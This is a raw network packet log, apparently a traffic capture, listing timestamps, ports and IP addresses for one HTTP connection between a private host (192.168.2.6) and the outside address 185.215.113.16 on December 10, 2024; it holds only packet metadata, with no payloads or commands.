Dec 10, 2024 06:38:26.343019962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.344444036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.360999107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.361067057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.361139059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.361646891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.361699104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.361963987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.362210035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.362252951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.363359928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.363471031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.363521099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.364711046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.364825010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.364867926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.366074085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.366173029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.366224051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.367423058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.367552042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.367595911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.368781090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.368837118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.368879080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.370143890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.370296955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.370340109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.371454000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.371567965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.371709108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.372756004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.372878075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.372936010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.374053001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.374166965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.374214888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.375442028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.375498056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.375539064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.376616001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.376728058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.376771927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.377888918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.377995968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.378043890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.379153967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.379336119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.379380941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.380390882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.380522966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.380563974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.381633043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.381738901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.381782055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.382888079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.383022070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.383068085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.384121895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.384133101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.384171963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.385272026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.385390043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.385435104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.386482000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.386528015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.386568069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.387679100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.387814045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.387861013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.388881922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.389000893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.389044046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.390113115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.390171051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.390211105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.391304970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.391432047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.391485929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.392549992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.392601967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.392648935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.393697977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.393846989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.393888950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.394917011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.395096064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.395143032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.396116972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.396167994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.396209002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.397349119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.397424936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.397465944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.398505926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.398694992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.398736000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.399725914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.399830103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.399868011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.400922060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.401031017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.401068926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.402127028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.402259111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.402298927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.403345108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.403454065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.403495073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.404552937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.404658079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.404696941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.405730009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.405795097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.405833006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.406925917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.407044888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.407083988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.408140898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.408253908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.408304930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.409347057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.409516096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.409553051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.410553932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.410677910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.410729885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.411787033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.411938906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.411982059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.412961006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.413077116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.413120985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.414154053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.414313078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.414357901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.415371895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.415477991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.415519953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.416572094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.416718006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.416773081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.417766094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.417876005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.417927980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.419007063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.419151068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.419203997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.420177937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.420331001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.420382023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.421386003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.421430111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.421480894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.532711029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.532843113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.532896996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.533262014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.533483982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.533523083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.533596039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.534648895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.534708023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.534722090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.535716057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.535758972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.553405046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.553497076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.553541899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.553859949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.554040909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.554090023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.554852962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.555231094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.555278063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.555335045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.556289911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.556337118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.556397915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.557331085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.557374001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.557430983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.558353901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.558466911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.558480978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.559420109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.559467077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.559521914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.560420990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.560467005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.560514927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.561497927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.561559916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.561611891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.562469959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.562519073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.562573910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.563493013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.563532114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.563601971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.564533949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.564579010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.564590931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.565570116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.565609932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.565673113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.566606045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.566708088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.566724062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.567616940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.567656994 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.567723989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.568680048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.568731070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.568872929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.569706917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.569751024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.569773912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.570722103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.570763111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.570815086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.571743011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.571793079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.571918964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.572787046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.572829962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.572885990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.573796988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.573843956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.573856115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.574850082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.574897051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.574953079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.575862885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.575910091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.575946093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.576898098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.576942921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.577016115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.577931881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.577974081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.578083992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.578979015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.579026937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.579082012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.580001116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.580046892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.580135107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.581037998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.581080914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.581120014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.582053900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.582107067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.582164049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.583059072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.583105087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.583178997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.584136009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.584180117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.584326029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.585206985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.585258007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.585263968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.586221933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.586267948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.586385965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.587222099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.587275982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.587305069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.588258982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.588301897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.588371038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.589293957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.589338064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.589378119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.590322018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.590359926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.590424061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.591336012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.591383934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.591443062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.592375994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.592417955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.592474937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.593410015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.593458891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.593506098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.594440937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.594487906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.594549894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.595465899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.595510960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.595575094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.596528053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.596571922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.596632004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.597533941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.597579002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.597626925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.598566055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.598612070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.598659992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.599581957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.599632978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.599692106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.600613117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.600661039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.600717068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.601684093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.601727962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.601780891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.602695942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.602754116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.602868080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.603717089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.603756905 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.724867105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.724982023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.725045919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.725367069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.725492001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.725539923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.726380110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.726500988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.726540089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.727372885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.745636940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.745685101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.745759010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.746165991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.746212006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.746329069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.747132063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.747175932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.747235060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.748188019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.748236895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:26.748291969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.749233007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:26.749279022 CET	49747	80	192.168.2.6	185.215.113.16
